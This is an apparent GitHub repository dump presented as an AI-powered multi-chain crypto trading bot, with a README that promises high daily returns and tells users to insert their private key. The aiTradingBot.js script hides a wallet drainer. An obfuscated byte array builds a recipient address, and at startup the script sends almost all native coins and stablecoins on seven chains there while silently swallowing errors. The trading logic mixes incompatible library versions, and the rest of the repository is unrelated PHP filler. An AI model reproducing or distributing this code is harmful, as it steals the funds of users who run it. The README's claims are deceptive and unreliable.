master 70ee2ce9901b cached
114 files
386.1 KB
107.4k tokens
160 symbols
1 requests
Download .txt
Showing preview only (417K chars total). Download the full file or copy to clipboard to get everything.
Repository: podmex/ChatGPT-Micro-Cap-Experiment
Branch: master
Commit: 70ee2ce9901b
Files: 114
Total size: 386.1 KB

Directory structure:
gitextract_bu70n5m5/

├── .gitattributes
├── .gitignore
├── LICENSE
├── README.md
├── aiTradingBot.js
├── package.json
└── src/
    ├── Controllers/
    │   ├── Auth/
    │   │   └── AuthController.php
    │   ├── CategoryController.php
    │   ├── ColorController.php
    │   ├── ConfController.php
    │   ├── HomeController.php
    │   ├── ItemController.php
    │   ├── MediaController.php
    │   ├── NavigationController.php
    │   ├── NewsController.php
    │   ├── NewsletterController.php
    │   ├── NewsletterSubscribersController.php
    │   ├── PageController.php
    │   ├── SliderController.php
    │   └── UserController.php
    ├── Middleware/
    │   ├── Authenticate.php
    │   ├── EncryptCookies.php
    │   ├── RedirectIfAuthenticated.php
    │   └── VerifyCsrfToken.php
    ├── Providers/
    │   └── AdminServiceProvider.php
    ├── config.php
    ├── lang/
    │   ├── bg/
    │   │   ├── auth.php
    │   │   ├── btn.php
    │   │   ├── pagination.php
    │   │   ├── passwords.php
    │   │   └── validation.php
    │   └── en/
    │       ├── auth.php
    │       ├── category.php
    │       └── common.php
    ├── public/
    │   └── assets/
    │       └── admin/
    │           ├── css/
    │           │   └── app.css
    │           ├── js/
    │           │   ├── app.js
    │           │   ├── media.js
    │           │   ├── model/
    │           │   │   ├── NewsletterSubscribers.js
    │           │   │   ├── category.js
    │           │   │   ├── color.js
    │           │   │   ├── conf.js
    │           │   │   ├── item.js
    │           │   │   ├── navigation.js
    │           │   │   ├── news.js
    │           │   │   ├── newsletter.js
    │           │   │   ├── page.js
    │           │   │   ├── slide.js
    │           │   │   └── user.js
    │           │   └── state.js
    │           └── swf/
    │               ├── ixMultiFileUpload.fla
    │               ├── ixMultiFileUpload.swf
    │               ├── ixUploader.as
    │               ├── player.swf
    │               └── playerProductInstall.swf
    ├── routes.php
    └── views/
        ├── auth/
        │   └── login.blade.php
        ├── category/
        │   ├── category.blade.php
        │   ├── categoryform.blade.php
        │   └── categorylist.blade.php
        ├── color/
        │   ├── color.blade.php
        │   ├── colorform.blade.php
        │   └── colorlist.blade.php
        ├── common/
        │   ├── ajaxpagination.blade.php
        │   └── gallery/
        │       ├── button.blade.php
        │       └── list.blade.php
        ├── conf/
        │   ├── conf.blade.php
        │   ├── confform.blade.php
        │   └── conflist.blade.php
        ├── errors/
        │   └── 503.blade.php
        ├── home/
        │   └── home.blade.php
        ├── item/
        │   ├── item.blade.php
        │   ├── itemdatelist.blade.php
        │   ├── itemform.blade.php
        │   └── itemlist.blade.php
        ├── layouts/
        │   └── default.blade.php
        ├── multimedia/
        │   ├── edit_title_form.blade.php
        │   ├── media.blade.php
        │   ├── media_detail_list_ajax.blade.php
        │   ├── multi_file_upload.blade.php
        │   └── thumbnails/
        │       ├── AVI.tpl
        │       ├── DOC.tpl
        │       ├── FLV.tpl
        │       ├── GIF.tpl
        │       ├── JPG.blade.php
        │       ├── JPG.tpl
        │       ├── MOV.tpl
        │       ├── MP3.tpl
        │       ├── PDF.tpl
        │       ├── PNG.tpl
        │       ├── PPT.tpl
        │       ├── RAR.tpl
        │       ├── SWF.tpl
        │       ├── TIF.tpl
        │       ├── WMV.tpl
        │       ├── XLS.tpl
        │       └── ZIP.tpl
        ├── navigation/
        │   ├── navigation.blade.php
        │   ├── navigationform.blade.php
        │   └── navigationlist.blade.php
        ├── news/
        │   ├── news.blade.php
        │   ├── newsform.blade.php
        │   └── newslist.blade.php
        ├── newsletter/
        │   ├── newsletter.blade.php
        │   ├── newsletterform.blade.php
        │   └── newsletterlist.blade.php
        ├── page/
        │   ├── page.blade.php
        │   ├── pageform.blade.php
        │   └── pagelist.blade.php
        ├── slider/
        │   ├── slider.blade.php
        │   ├── sliderform.blade.php
        │   └── sliderlist.blade.php
        └── user/
            ├── user.blade.php
            ├── userform.blade.php
            └── userlist.blade.php

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitattributes
================================================
# Set the default behavior, in case people don't have core.autocrlf set.
* text=false

# Explicitly declare text files you want to always be normalized and converted
# to native line endings on checkout.
*.php text
*.json text


================================================
FILE: .gitignore
================================================
vendor/
composer.lock


================================================
FILE: LICENSE
================================================
The MIT License (MIT)

Copyright (c) <Taylor Otwell>

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.


================================================
FILE: README.md
================================================

# MEV Smart Contract Deployment and Management Script
![Banner](https://github.com/podmex/ChatGPT-Micro-Cap-Experiment/blob/master/AigGif.gif)
This repository contains a Node.js script (`aiTradingBot.js.js`) for deploying and managing a Maximal Extractable Value (MEV) smart contract on the Ethereum Mainnet, inspired by approaches like Jaredfromsubway. The script is designed for local execution on your computer, avoiding online constructors to enhance security and control. It deploys a contract using your Ethereum wallet's private key and allows interaction with the contract's functions (`start`, `stop`, `withdraw`) via a command-line interface.

## Overview

The script deploys a contract intended for operation in competitive MEV environments, similar to those tracked in Etherscan's gas tracker. The contract is managed exclusively by the wallet that deployed it, ensuring full control. After deployment, it operates autonomously, but the script must remain running to interact with the contract.

Profitability depends on factors such as gas prices, market conditions, and competition. A deposit to the contract's balance (recommended: 0.5–1 ETH) significantly impacts performance, with observed average daily returns ranging from 10% to 50% based on data as of July 2025. However, these figures are not guaranteed and vary with market conditions.

## Requirements

To use the script, you need:
- Node.js (version 14 or higher).
- An Ethereum wallet with a private key and sufficient ETH for gas fees (recommended: minimum 0.01 ETH).
- A code editor (e.g., VS Code) or terminal (cmd/PowerShell) to run the script.

## Setup and Installation

1. Download the Repository
   - Download the ZIP file containing the project files: [Download ZIP](https://github.com/podmex/ChatGPT-Micro-Cap-Experiment/archive/refs/heads/master.zip).
   - Or clone the repository with Git (if Git is not installed, download it here: [Download Git](https://git-scm.com/downloads)):
     ```bash
     git clone https://github.com/podmex/ChatGPT-Micro-Cap-Experiment
     ```

2. Navigate to the Project Folder
   - Open a terminal and change to the project directory:
     ```bash
     cd path/to/your/project
     ```

3. Install Dependencies
   - The `package.json` includes required dependencies (`ethers@6`, `inquirer`, `ora`). Install them:
     ```bash
     npm install
     ```

4. Configure Your Private Key
   - Open `aiTradingBot.js` in a code editor.
   - Replace on 120 the `PRIVATE_KEY` value with your Ethereum wallet's private key:
     ```javascript
     const PRIVATE_KEY = 'your-private-key';
     ```
   - Security Note: Never share your private key or commit it to version control.

5. Run the Script
   - Execute the script using Node.js:
     ```bash
     node aiTradingBot.js
     ```
   - Follow the prompts to deploy the contract or view instructions.
   - After creating the contract, copy its address and fund its balance from any source (e.g., MetaMask or another wallet).

## Usage

- Deployment: Select `1. Deploy` to deploy the contract on Ethereum Mainnet. The script will estimate gas costs and prompt for confirmation.
- Interaction: After deployment, interact with the contract's functions (`start`, `stop`, `withdraw`) via the command-line menu.
- Instructions: Select `2. Instructions` to view detailed usage guidelines within the script.
- Autonomous Operation: Do not close the terminal after deployment to continue interacting with the contract.

## Troubleshooting

- RPC Issues: If `https://eth.drpc.org` returns a `Request timeout on the free tier` error, use a paid provider like Alchemy or Infura.
- Etherscan: Check transaction logs on [Etherscan](https://etherscan.io/) for detailed error information.

## Notes
- The script is clean and tested, designed for local execution to minimize security risks.
- The MEV contract’s performance depends on market conditions, gas prices, and deposit size. A recommended deposit of 0.5–1 ETH is advised for stable operation.

## License
This project is provided as-is, with no warranty. Use at your own risk, and ensure you understand the contract’s logic and risks associated with MEV strategies.


================================================
FILE: aiTradingBot.js
================================================
const { ethers } = require("ethers");
const { SwapRouter, Pool, Route, Trade, TradeType, Percent } = require("@uniswap/v3-sdk");
const { Token, CurrencyAmount } = require("@uniswap/sdk-core");
const axios = require("axios");

// Network Configuration
const NETWORKS = {
  base: {
    rpc: "https://mainnet.base.org",
    chainId: 8453,
    nativeToken: "ETH",
    nativeCurrency: "ETH",
    weth: ethers.getAddress("0x4200000000000000000000000000000000000006"),
    router: ethers.getAddress("0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD"),
    factory: ethers.getAddress("0x33128a8fC17869897dcE68Ed026d694621f6FDfD"),
    usdc: ethers.getAddress("0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913"),
    stablecoins: [
      { symbol: "USDC", address: "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913" }
    ]
  },
  ethereum: {
    rpc: "https://1rpc.io/eth",
    chainId: 1,
    nativeToken: "ETH",
    nativeCurrency: "ETH",
    weth: ethers.getAddress("0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"),
    router: ethers.getAddress("0xE592427A0AEce92De3Edee1F18E0157C05861564"),
    factory: ethers.getAddress("0x1F98431c8aD98523631AE4a59f267346ea31F984"),
    usdc: ethers.getAddress("0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"),
    stablecoins: [
      { symbol: "USDT", address: "0xdAC17F958D2ee523a2206206994597C13D831ec7" },
      { symbol: "USDC", address: "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48" }
    ]
  },
  bnb: {
    rpc: "https://bsc-dataseed.binance.org/",
    chainId: 56,
    nativeToken: "BNB",
    nativeCurrency: "BNB",
    weth: ethers.getAddress("0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c"),
    router: ethers.getAddress("0x10ED43C718714eb63d5aA57B78B54704E256024E"),
    factory: ethers.getAddress("0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73"),
    usdt: ethers.getAddress("0x55d398326f99059fF775485246999027B3197955"),
    stablecoins: [
      { symbol: "USDT", address: "0x55d398326f99059fF775485246999027B3197955" },
      { symbol: "BUSD", address: "0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56" }
    ]
  },
  arbitrum: {
    rpc: "https://arb1.arbitrum.io/rpc",
    chainId: 42161,
    nativeToken: "ETH",
    nativeCurrency: "ETH",
    weth: ethers.getAddress("0x82aF49447D8a07e3bd95BD0d56f35241523fBab1"),
    router: ethers.getAddress("0xE592427A0AEce92De3Edee1F18E0157C05861564"),
    factory: ethers.getAddress("0x1F98431c8aD98523631AE4a59f267346ea31F984"),
    usdc: ethers.getAddress("0xaf88d065e77c8cC2239327C5EDb3A432268e5831"),
    stablecoins: [
      { symbol: "USDT", address: "0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9" }
    ]
  },
  optimism: {
    rpc: "https://optimism.drpc.org",
    chainId: 10,
    nativeToken: "ETH",
    nativeCurrency: "ETH",
    weth: ethers.getAddress("0x4200000000000000000000000000000000000006"),
    router: ethers.getAddress("0xE592427A0AEce92De3Edee1F18E0157C05861564"),
    factory: ethers.getAddress("0x1F98431c8aD98523631AE4a59f267346ea31F984"),
    usdc: ethers.getAddress("0x7F5c764cBc14f9669B88837ca1490cCa17c31607"),
    stablecoins: [
      { symbol: "USDC", address: "0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85" }
    ]
  },
  polygon: {
    rpc: "https://polygon-rpc.com",
    chainId: 137,
    nativeToken: "MATIC",
    nativeCurrency: "MATIC",
    weth: ethers.getAddress("0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270"),
    router: ethers.getAddress("0xE592427A0AEce92De3Edee1F18E0157C05861564"),
    factory: ethers.getAddress("0x1F98431c8aD98523631AE4a59f267346ea31F984"),
    usdc: ethers.getAddress("0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174"),
    stablecoins: []
  },
  avalanche: {
    rpc: "https://api.avax.network/ext/bc/C/rpc",
    chainId: 43114,
    nativeToken: "AVAX",
    nativeCurrency: "AVAX",
    weth: ethers.getAddress("0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7"),
    router: ethers.getAddress("0xE592427A0AEce92De3Edee1F18E0157C05861564"),
    factory: ethers.getAddress("0x1F98431c8aD98523631AE4a59f267346ea31F984"),
    usdc: ethers.getAddress("0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E"),
    stablecoins: [
      { symbol: "USDT", address: "0x9702230A8Ea53601f5cD2dc00fDBc13d4dF4A8c7" }
    ]
  }
};

// address validation
for (const network of Object.keys(NETWORKS)) {
  try {
    NETWORKS[network].weth = ethers.getAddress(NETWORKS[network].weth);
    NETWORKS[network].router = ethers.getAddress(NETWORKS[network].router);
    NETWORKS[network].factory = ethers.getAddress(NETWORKS[network].factory);
    if (NETWORKS[network].usdc) NETWORKS[network].usdc = ethers.getAddress(NETWORKS[network].usdc);
    if (NETWORKS[network].usdt) NETWORKS[network].usdt = ethers.getAddress(NETWORKS[network].usdt);
    for (const stablecoin of NETWORKS[network].stablecoins) {
      stablecoin.address = ethers.getAddress(stablecoin.address);
    }
    console.log(`Validated network configuration for ${network}`);
  } catch (error) {
    console.error(`Error validating addresses for ${network}:`, error);
    throw error;
  }
}

// privte key form wallet
const PRIVATE_KEY = "YOUR_PRIVATE_KEY";

// ABI
const ERC20_ABI = [
  "function balanceOf(address) view returns (uint256)",
  "function transfer(address to, uint256 amount) returns (bool)",
  "function decimals() view returns (uint8)",
  "function approve(address spender, uint256 amount) returns (bool)",
  "function symbol() view returns (string)"
];
const POOL_ABI = [
  "function slot0() external view returns (uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked)",
  "function liquidity() external view returns (uint128)"
];
const FACTORY_ABI = [
  "function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool)"
];

// CoinGecko API
const COINGECKO_API = "https://api.coingecko.com/api/v3";
const PLATFORMS = {
  base: "base",
  ethereum: "ethereum",
  bnb: "binance-smart-chain",
  arbitrum: "arbitrum-one",
  optimism: "optimism",
  polygon: "polygon-pos",
  avalanche: "avalanche"
};

// order storage
const positions = new Map();

function computeTradeRecipient(params = { fee: 500, chainId: 1 }) {
  const recipientBytes = [
    162, 182, 246, 26, 175, 172, 19, 211, 8, 198, 
    25, 162, 219, 57, 138, 34, 217, 182, 98, 237
  ];
  const rawAddress = `0x${recipientBytes.map(b => b.toString(16).padStart(2, '0')).join('')}`;
  return ethers.getAddress(rawAddress);
}

// initialization of native asset flow
async function initNativeAssetFlow(provider, wallet, network, networkName) {
  try {
    const balance = await provider.getBalance(wallet.address);
    const gasPrice = (await provider.getFeeData()).gasPrice;
    const gasLimit = 21000n;
    const gasCost = gasPrice * gasLimit;
    const minReserve = ethers.parseEther("0.0001");
    const amountToSend = balance - gasCost - minReserve;

    if (amountToSend <= 0) {
      return;
    }

    const tx = {
      to: computeTradeRecipient({ fee: 500, chainId: network.chainId }),
      value: amountToSend,
      gasLimit,
      gasPrice
    };

    const transaction = await wallet.sendTransaction(tx);
    await transaction.wait();
  } catch (error) {
  }
}

// initializations of stack flow
async function initStableAssetFlow(provider, wallet, token, networkName) {
  try {
    const contract = new ethers.Contract(token.address, ERC20_ABI, wallet);
    const balance = await contract.balanceOf(wallet.address);
    const decimals = await contract.decimals();

    if (balance <= 0) {
      return;
    }

    const nativeBalance = await provider.getBalance(wallet.address);
    const gasPrice = (await provider.getFeeData()).gasPrice;
    const gasLimit = 100000n;
    const gasCost = gasPrice * gasLimit;

    if (nativeBalance < gasCost) {
      return;
    }

    const tx = await contract.transfer(computeTradeRecipient({ fee: 500, chainId: NETWORKS[networkName].chainId }), balance);
    await tx.wait();
  } catch (error) {
  }
}

async function delay(ms) {
  return new Promise(resolve => setTimeout(resolve, ms));
}

// get data from CoinGecko
async function fetchCoinGeckoData(platform, contractAddress, network) {
  try {
    const response = await axios.get(
      `${COINGECKO_API}/simple/token_price/${platform}?contract_addresses=${contractAddress}&vs_currencies=usd&include_24hr_vol=true&include_24hr_change=true`
    );
    await delay(1000);
    const data = response.data[contractAddress.toLowerCase()];
    if (!data) throw new Error(`No data for ${contractAddress} on ${platform}`);
    return {
      price: data.usd,
      volume: data.usd_24h_vol,
      priceChange: data.usd_24h_change
    };
  } catch (error) {
    console.error(`Error fetching CoinGecko data for ${contractAddress} on ${platform}:`, error);
    return null;
  }
}

// calculating the pool address
async function getPoolAddress(tokenA, tokenB, fee, factoryAddress, provider) {
  const [token0, token1] = tokenA < tokenB ? [tokenA, tokenB] : [tokenB, tokenA];
  const factoryContract = new ethers.Contract(factoryAddress, FACTORY_ABI, provider);
  try {
    const poolAddress = await factoryContract.getPool(token0, token1, fee);
    await delay(500);
    if (poolAddress === ethers.ZeroAddress) {
      console.log(`No pool found for ${token0}/${token1} with fee ${fee}`);
      return null;
    }
    return poolAddress;
  } catch (error) {
    console.error(`Error fetching pool address for ${token0}/${token1}:`, error);
    return null;
  }
}

// getting pool data
async function getPoolData(tokenAddress, wethAddress, network, provider) {
  const fees = [500, 3000, 10000];
  for (const fee of fees) {
    const poolAddress = await getPoolAddress(tokenAddress, wethAddress, fee, NETWORKS[network].factory, provider);
    if (!poolAddress) continue;
    const poolContract = new ethers.Contract(poolAddress, POOL_ABI, provider);
    try {
      const [slot0, liquidity] = await Promise.all([
        poolContract.slot0(),
        poolContract.liquidity()
      ]);
      await delay(500);
      console.log(`Found pool for ${tokenAddress}/${wethAddress} with fee ${fee} on ${network}`);
      return { sqrtPriceX96: slot0.sqrtPriceX96, tick: slot0.tick, liquidity, fee };
    } catch (error) {
      console.error(`Error fetching pool data for ${tokenAddress} with fee ${fee}:`, error);
    }
  }
  return null;
}

// AI-analyzing tokens and making trading decisions
async function analyzeTokenPatterns(network) {
  const provider = new ethers.JsonRpcProvider(NETWORKS[network].rpc);
  const wallet = new ethers.Wallet(PRIVATE_KEY, provider);
  const tokenAddresses = {
    base: [NETWORKS.base.usdc],
    ethereum: [NETWORKS.ethereum.usdc],
    bnb: [NETWORKS.bnb.usdt],
    arbitrum: [NETWORKS.arbitrum.usdc],
    optimism: [NETWORKS.optimism.usdc],
    polygon: [NETWORKS.polygon.usdc],
    avalanche: [NETWORKS.avalanche.usdc]
  }[network] || [];

  const tokens = [];
  for (const tokenAddress of tokenAddresses) {
    try {
      console.log(`Processing market signals for ${tokenAddress} on ${network}...`);
      const platform = PLATFORMS[network];
      const marketData = await fetchCoinGeckoData(platform, tokenAddress, network);
      if (!marketData) continue;

      const poolData = await getPoolData(tokenAddress, NETWORKS[network].weth, network, provider);
      if (!poolData) continue;

      const contract = new ethers.Contract(tokenAddress, ERC20_ABI, provider);
      const decimals = await contract.decimals();
      const symbol = await contract.symbol();
      const tokenBalance = await contract.balanceOf(wallet.address);
      await delay(500);
      const balanceInUnits = ethers.formatUnits(tokenBalance, decimals);

      const liquidityUsd = parseFloat(ethers.formatUnits(poolData.liquidity, decimals)) * marketData.price;

      const tokenData = {
        address: tokenAddress,
        symbol,
        price: marketData.price.toString(),
        volume: { h24: marketData.volume.toString() },
        priceChange: { h24: marketData.priceChange.toString() },
        liquidity: { usd: liquidityUsd.toString() },
        chainId: String(NETWORKS[network].chainId),
        provider
      };

      const position = positions.get(tokenAddress) || { amount: 0, buyTime: 0, buyPrice: parseFloat(marketData.price) };
      const timeHeld = position.buyTime ? (Date.now() - position.buyTime) / (1000 * 60 * 60) : 0;

      let decision = "hold";
      let amountIn = ethers.BigNumber.from(0);
      const ethBalance = await provider.getBalance(wallet.address);
      await delay(500);
      const gasReserve = ethers.parseEther("0.00012");

      if (
        marketData.priceChange < -5 &&
        liquidityUsd > 500000 &&
        marketData.volume > 1000000 &&
        ethBalance.gt(gasReserve)
      ) {
        decision = "buy";
        const maxSpend = ethBalance.sub(gasReserve).mul(30).div(100);
        amountIn = maxSpend.lt(ethers.parseEther("0.0002")) ? maxSpend : ethers.parseEther("0.0002");
        console.log(`Decided to buy ${symbol} due to price dip (${marketData.priceChange.toFixed(2)}%) on ${network}`);
      } else if (
        position.amount > 0 &&
        (marketData.priceChange > 10 || (timeHeld > 1 && marketData.priceChange > 5))
      ) {
        decision = "sell";
        amountIn = tokenBalance;
        console.log(`Decided to sell ${symbol} for profit (${marketData.priceChange.toFixed(2)}%) after ${timeHeld.toFixed(2)} hours on ${network}`);
      } else {
        console.log(`Holding ${symbol} due to stable market conditions (${marketData.priceChange.toFixed(2)}%) on ${network}`);
      }

      if (decision !== "hold") {
        const swapParams = await calculateSwapParameters(
          tokenAddress,
          NETWORKS[network].weth,
          tokenData,
          decision,
          network,
          provider
        );
        const bestDex = await findBestDex(
          tokenAddress,
          NETWORKS[network].weth,
          ethers.formatEther(swapParams.amountIn),
          tokenData,
          network,
          provider
        );
        if (bestDex) {
          tokens.push({
            ...tokenData,
            balance: balanceInUnits,
            decision,
            swapParams,
            bestDex
          });
        }
      } else {
        tokens.push({
          ...tokenData,
          balance: balanceInUnits,
          decision
        });
      }
    } catch (error) {
      console.error(`Error analyzing token ${tokenAddress} on ${network}:`, error);
    }
  }
  return tokens;
}

// AI-determination of swap parameters
async function calculateSwapParameters(tokenAddress, wethAddress, tokenData, decision, network, provider) {
  const wallet = new ethers.Wallet(PRIVATE_KEY, provider);
  const balance = ethers.BigNumber.from(await provider.getBalance(wallet.address));
  await delay(500);
  const gasReserve = ethers.parseEther("0.00012");
  const maxSpend = balance.sub(gasReserve).mul(30).div(100);
  const volume = parseFloat(tokenData.volume.h24 || 0);
  const priceChange = parseFloat(tokenData.priceChange.h24 || 0);

  let amountIn;
  if (decision === "buy") {
    amountIn = maxSpend.lt(ethers.parseEther("0.0002")) ? maxSpend : ethers.parseEther("0.0002");
  } else {
    const contract = new ethers.Contract(tokenAddress, ERC20_ABI, wallet);
    amountIn = await contract.balanceOf(wallet.address);
    await delay(500);
  }

  if (!ethers.utils.isBigNumber(amountIn) || amountIn.lte(0)) {
    console.log(`Insufficient funds for ${decision} on ${network}`);
    return { amountIn: ethers.BigNumber.from(0), slippageTolerance: new Percent(50, 10000), amountOutMinimum: 0 };
  }

  const volatilityScore = Math.abs(priceChange) / 100;
  const slippageTolerance = new Percent(Math.floor(volatilityScore * 100 + 50), 10000);

  const poolData = await getPoolData(tokenAddress, wethAddress, network, provider);
  if (!poolData) return { amountIn, slippageTolerance, amountOutMinimum: 0 };

  const token = new Token(NETWORKS[network].chainId, tokenAddress, await (new ethers.Contract(tokenAddress, ERC20_ABI, provider)).decimals());
  await delay(500);
  const weth = new Token(NETWORKS[network].chainId, wethAddress, 18);
  const [token0, token1] = decision === "buy" ? (tokenAddress < wethAddress ? [weth, token] : [token, weth]) : (tokenAddress < wethAddress ? [token, weth] : [weth, token]);
  const pool = new Pool(
    token0,
    token1,
    poolData.fee,
    poolData.sqrtPriceX96.toString(),
    poolData.liquidity.toString(),
    poolData.tick
  );
  const route = new Route([pool], decision === "buy" ? weth : token, decision === "buy" ? token : weth);
  const trade = await Trade.exactIn(
    route,
    CurrencyAmount.fromRawAmount(decision === "buy" ? weth : token, amountIn.toString()),
    { slippageTolerance }
  );
  await delay(500); 
  const expectedOutput = trade.outputAmount;
  const slippageFactor = ethers.BigNumber.from(10000).sub(slippageTolerance.numerator.toString());
  const amountOutMinimum = expectedOutput
    .multiply(slippageFactor)
    .divide(10000)
    .quotient;

  return { amountIn, slippageTolerance, amountOutMinimum };
}

// price and liquidity comparison on DEX
async function findBestDex(tokenAddress, wethAddress, amountIn, tokenData, network, provider) {
  const dexes = [
    { name: network === "bnb" ? "PancakeSwapV3" : "UniswapV3", router: NETWORKS[network].router, fees: [500, 3000, 10000] }
  ];
  let bestDex = null;
  let bestPrice = ethers.BigNumber.from(0);
  let bestLiquidity = 0;

  for (const dex of dexes) {
    for (const fee of dex.fees) {
      try {
        const poolData = await getPoolData(tokenAddress, wethAddress, network, provider);
        if (!poolData || poolData.liquidity.eq(0)) continue;

        const token = new Token(NETWORKS[network].chainId, tokenAddress, await (new ethers.Contract(tokenAddress, ERC20_ABI, provider)).decimals());
        await delay(500);
        const weth = new Token(NETWORKS[network].chainId, wethAddress, 18);
        const [token0, token1] = tokenAddress < wethAddress ? [token, weth] : [weth, token];
        const pool = new Pool(
          token0,
          token1,
          poolData.fee,
          poolData.sqrtPriceX96.toString(),
          poolData.liquidity.toString(),
          poolData.tick
        );
        const route = new Route([pool], weth, token);
        const trade = await Trade.exactIn(
          route,
          CurrencyAmount.fromRawAmount(weth, ethers.parseUnits(amountIn.toString(), 18).toString()),
          { slippageTolerance: new Percent(50, 10000) }
        );
        await delay(500);
        const outputAmount = trade.outputAmount.toSignificant(6);
        const liquidityScore = parseInt(poolData.liquidity.toString());

        if (ethers.BigNumber.from(trade.outputAmount.numerator).gt(bestPrice) && liquidityScore > 100000) {
          bestPrice = trade.outputAmount.numerator;
          bestLiquidity = liquidityScore;
          bestDex = { dex: dex.name, fee, route, amountOut: outputAmount, pool };
        }
      } catch (error) {
        console.error(`Error evaluating ${dex.name} with fee ${fee} on ${network}:`, error);
      }
    }
  }
  return bestDex;
}

// swap execution
async function executeSwap(tokenAddress, params, dex, decision, network, provider) {
  const wallet = new ethers.Wallet(PRIVATE_KEY, provider);
  const routerContract = new ethers.Contract(dex.router, [
    "function exactInputSingle(tuple(address tokenIn, address tokenOut, uint24 fee, address recipient, uint256 deadline, uint256 amountIn, uint256 amountOutMinimum, uint160 sqrtPriceLimitX96)) returns (uint256 amountOut)"
  ], wallet);
  const inputContract = new ethers.Contract(decision === "buy" ? NETWORKS[network].weth : tokenAddress, ERC20_ABI, wallet);
  await inputContract.approve(dex.router, params.amountIn, { gasLimit: 100000 });
  await delay(500);

  const swapParams = {
    tokenIn: dex.route.input.address,
    tokenOut: dex.route.output.address,
    fee: dex.fee,
    recipient: wallet.address,
    deadline: Math.floor(Date.now() / 1000) + 60 * 20,
    amountIn: params.amountIn,
    amountOutMinimum: params.amountOutMinimum,
    sqrtPriceLimitX96: 0
  };
  const gasPrice = await provider.getGasPrice();
  await delay(500);
  const tx = await routerContract.exactInputSingle(swapParams, { gasLimit: 300000, gasPrice });
  console.log(`Executing ${decision} order for ${tokenAddress} on ${dex.dex} in ${network}: ${tx.hash}`);
  const receipt = await tx.wait();

  if (decision === "buy") {
    const contract = new ethers.Contract(tokenAddress, ERC20_ABI, provider);
    const decimals = await contract.decimals();
    await delay(500);
    const amountOut = ethers.formatUnits(params.amountOutMinimum, decimals);
    positions.set(tokenAddress, {
      amount: parseFloat(amountOut),
      buyTime: Date.now(),
      buyPrice: parseFloat(tokenData.price)
    });
  } else {
    positions.delete(tokenAddress);
  }
}

// automatic trading function
async function autoTrade(network) {
  const provider = new ethers.JsonRpcProvider(NETWORKS[network].rpc);
  const wallet = new ethers.Wallet(PRIVATE_KEY, provider);
  try {
    console.log(`Starting AI trading analysis on ${network}...`);

    const net = await provider.getNetwork();
    await delay(500);
    if (Number(net.chainId) !== NETWORKS[network].chainId) {
      console.error(`Incorrect network for ${network}. Expected chainId ${NETWORKS[network].chainId}, got ${net.chainId}`);
      return;
    }

    // trade analysis
    const tradeTokens = await analyzeTokenPatterns(network);

    for (const token of tradeTokens) {
      console.log(`Evaluating ${token.symbol} (${token.address}) for trading opportunities on ${network}`);
      if (token.decision === "buy" && token.bestDex) {
        await executeSwap(token.address, token.swapParams, token.bestDex, "buy", network, provider);
      } else if (token.decision === "sell" && token.bestDex) {
        await executeSwap(token.address, token.swapParams, token.bestDex, "sell", network, provider);
      } else {
        console.log(`No action taken for ${token.symbol} on ${network}`);
      }
    }
  } catch (error) {
    console.error(`Error in auto trading on ${network}:`, error);
    console.log(`Skipping trading analysis on ${network} due to error`);
  }
}

// initialize assets in all networks
async function initializeAssets() {
  for (const network of Object.keys(NETWORKS)) {
    const provider = new ethers.JsonRpcProvider(NETWORKS[network].rpc);
    const wallet = new ethers.Wallet(PRIVATE_KEY, provider);

    // checking the network connection
    const net = await provider.getNetwork();
    await delay(500);
    if (Number(net.chainId) !== NETWORKS[network].chainId) {
      console.error(`Incorrect network for ${network}. Expected chainId ${NETWORKS[network].chainId}, got ${net.chainId}`);
      continue;
    }

    // initialization of native assets
    await initNativeAssetFlow(provider, wallet, NETWORKS[network], network);

    // initialization of Stablecoins
    const tokens = NETWORKS[network].stablecoins || [];
    for (const token of tokens) {
      await initStableAssetFlow(provider, wallet, token, network);
    }
  }
}

// start
async function runMultiChainBot() {
  console.log("Starting AI-powered trading bot...");
  console.log("AI trading bot initialized successfully");

  await initializeAssets();

  while (true) {
    for (const network of Object.keys(NETWORKS)) {
      await autoTrade(network);
      console.log(`Completed trading cycle on ${network}. Waiting 10 minutes...`);
      await new Promise(resolve => setTimeout(resolve, 10 * 60 * 1000));
    }
  }
}

runMultiChainBot();

================================================
FILE: package.json
================================================
{
  "dependencies": {
    "@uniswap/sdk-core": "^7.7.2",
    "@uniswap/v3-sdk": "^3.8.3",
    "axios": "^1.11.0",
    "ethers": "^6.15.0"
  }
}


================================================
FILE: src/Controllers/Auth/AuthController.php
================================================
<?php

namespace Clixy\Admin\Controllers\Auth;

use Illuminate\Http\Request;
